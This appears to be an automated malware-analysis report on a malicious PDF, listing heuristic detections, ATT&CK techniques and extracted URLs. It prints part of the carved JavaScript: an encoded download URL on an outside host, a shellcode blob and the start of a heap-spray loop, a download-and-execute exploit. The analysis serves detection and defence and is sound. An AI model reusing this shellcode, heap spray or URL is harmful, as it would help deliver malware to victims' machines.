MALICIOUS
130
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1566.002 Spearphishing Attachment
This PDF file is suspicious due to the presence of JavaScript embedded within an encrypted stream. The JavaScript is likely used to obfuscate or deliver a malicious payload, which is a common technique for evading static analysis. The heuristics indicate that the PDF is encrypted and contains JavaScript, suggesting an attempt to hide malicious content. While no specific family is identified, the overall pattern points to a downloader or exploit delivery mechanism.
Machine Learning
- Nyx PDF Classifier malicious score 0.9988
Heuristics 6
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Encrypted PDF carries /JavaScript — payload hidden from static analysis high PDF_ENCRYPTED_WITH_JSPDF declares /Encrypt and also references an executable trigger (/JavaScript). Document encryption hides the JavaScript body and stream contents from static scanners — combined with auto-execution indicators this is a known evasion pattern used to deliver weaponised JavaScript that the analyst cannot inspect without the decryption key.
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URLDecoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://qseft-qseft.comule.com/f.php?uprintf Referenced by PDF JavaScript
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
- http://purl.org/dc/elements/1.1/In PDF document text
- http://ns.adobe.com/xap/1.0/In PDF document text
- http://ns.adobe.com/pdf/1.3/In PDF document text
- http://ns.adobe.com/xap/1.0/mm/In PDF document text
- http://www.aiim.org/pdfa/ns/extension/In PDF document text
- http://www.aiim.org/pdfa/ns/schema#In PDF document text
- http://www.aiim.org/pdfa/ns/property#In PDF document text
- http://www.aiim.org/pdfa/ns/id/In PDF document text
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0007_000.js |
pdf-javascript-stream | PDF /JS object 7 at offset 0x15BD | 2047 bytes |
SHA-256: 7775774dedc9445c3cc5b30c029de14f83edf81cfaf5b2aee1f7d5083bd7a3da |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 3 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
var fURL="%u7468%u7074%u2f3a%u712f%u6573%u7466%u712d%u6573%u7466%u632e%u6d6f%u6c75%u2e65%u6f63%u2f6d%u2e66%u6870%u3f70%u7075%u6972%u746e%u0066";try
{
var v1=unescape("%u9090%u9090%u9c60%u00e8%u0000%u5d00%ued83%uba0b%u0022%u0000%uea01%uc031%ueeb9%u0001%ud200%u420a%ufbe2%u184c%u1846%u6001%u208b%u7103%ue007%u17b6%u0440%ub062%u08fb%u0000%u0bbe%u0040%u4700%u00cb%u0000%ub062%u004f%u0000%u92be%u0040%u4700%u008b%u0000%ub062%u008f%u0000%ued31%u9faf%u0000%u7f00%u8009%u0000%uab8e%u0000%uc400%u30ba%u482c%u0004%u2900%u0c9a%u86ff%u12ea%u0001%u2000%u89ae%u02db%u45c2%ua621%u1070%u0000%u6084%uc01d%u2088%u8cc8%uf7eb%u8322%uf523%u02a7%u0000%u9eef%u0010%ud100%u003a%u0000%u9a35%ud526%u6181%u2042%u0000%u1349%uc0ea%u02b0%u0020%ua400%uff53%ud734%u08fc%u0000%uedbf%u0040%u4700%u0050%u0000%ua09a%u9a35%ud526%u6181%u2042%u0000%ua649%uff53%ub334%u1e16%udd04%uf701%u6ad4%uff65%ue956%u0000%uea00%uff05%uf156%u0000%u7800%u0000%u0000%u0000%u0000%u2bb6%udcc9%u3665%u46cc%u23e2%ud8b1%ua300%u8e59%u2b45%ue0b5%ub050%u0d1d%u0014%ude31%u3261%u2d13%u9326%ue485%ua279%u281e%u3a00%ue895%u3950%u6cdb%u2314%ue491%ub965%u00dc%u7710%ue526%ufb89%u180c%uabea%u52f7%uc4f7%u267e%uf50c%u00f0%u0000%ub6c0%u08fb%u0000%ud666%ub0c0%u08fb%u0000%u388b%u701e%ue06c%u6b0c%u80bf%u0000%uedd8%u020f%u0000%u606b%ufd58%u0004%ud500%u606b%ufd58%u0004%u2800%ub5ea%u2c30%u02fe%u0000%ucbea%ude13%uacb6%uc203%u20ef%u0000%u8d26%ueb89%u9f54%u353f%ue865%u2f04%u7dd0%uf29e%ua34e%u81e0%u7961%u0010%u6200%u4bf6%ub599%u071c%u0608%ue185%u0040%u4c00%u5b1b%uc203%u20ef%u0000%u000f%u0000%u0000%u0000%u0000%u0000%u0000%u0000%ue600%ub268%u8d1b%u9133%uc8b8%u366c%u6a00%u2b86%ud8b1%u3c45%u6c59%ua357%u8295%uba00%u8d9c%u7bd6%u5cb9%u3664%u001b%u9255%u8831%ubb6f%u8d9b%u0bf6%ua891%u236f%u8d5a%u0a56%ud400%u3b61%uc558%uc356%u0095"+fURL);
var v2 ="";
for (v3=128;v3>=0;--v3) v2 += unescape("%u27b1%u9796");
v4 = v2 + v1;
v5 = unescape("%u27b1%u9796");
v6 = 20;
v7 = v6+v4.length
while (v5.length<v7) v5+=v5;
v8 = v5.substring(0, v7);
v9 = v5.substring(0, v5.length-v7);
while(v9.length+v7 < 0x40000) v9
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javascript_obj0011_000.js |
pdf-javascript-stream | PDF /JS object 11 at offset 0xB75 | 4366 bytes |
SHA-256: 24c49145083e7abc851d5459c5df6684e5efd079cf7b67004fe9664b8196d53b |
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Preview scriptFirst 1,000 lines of the extracted script
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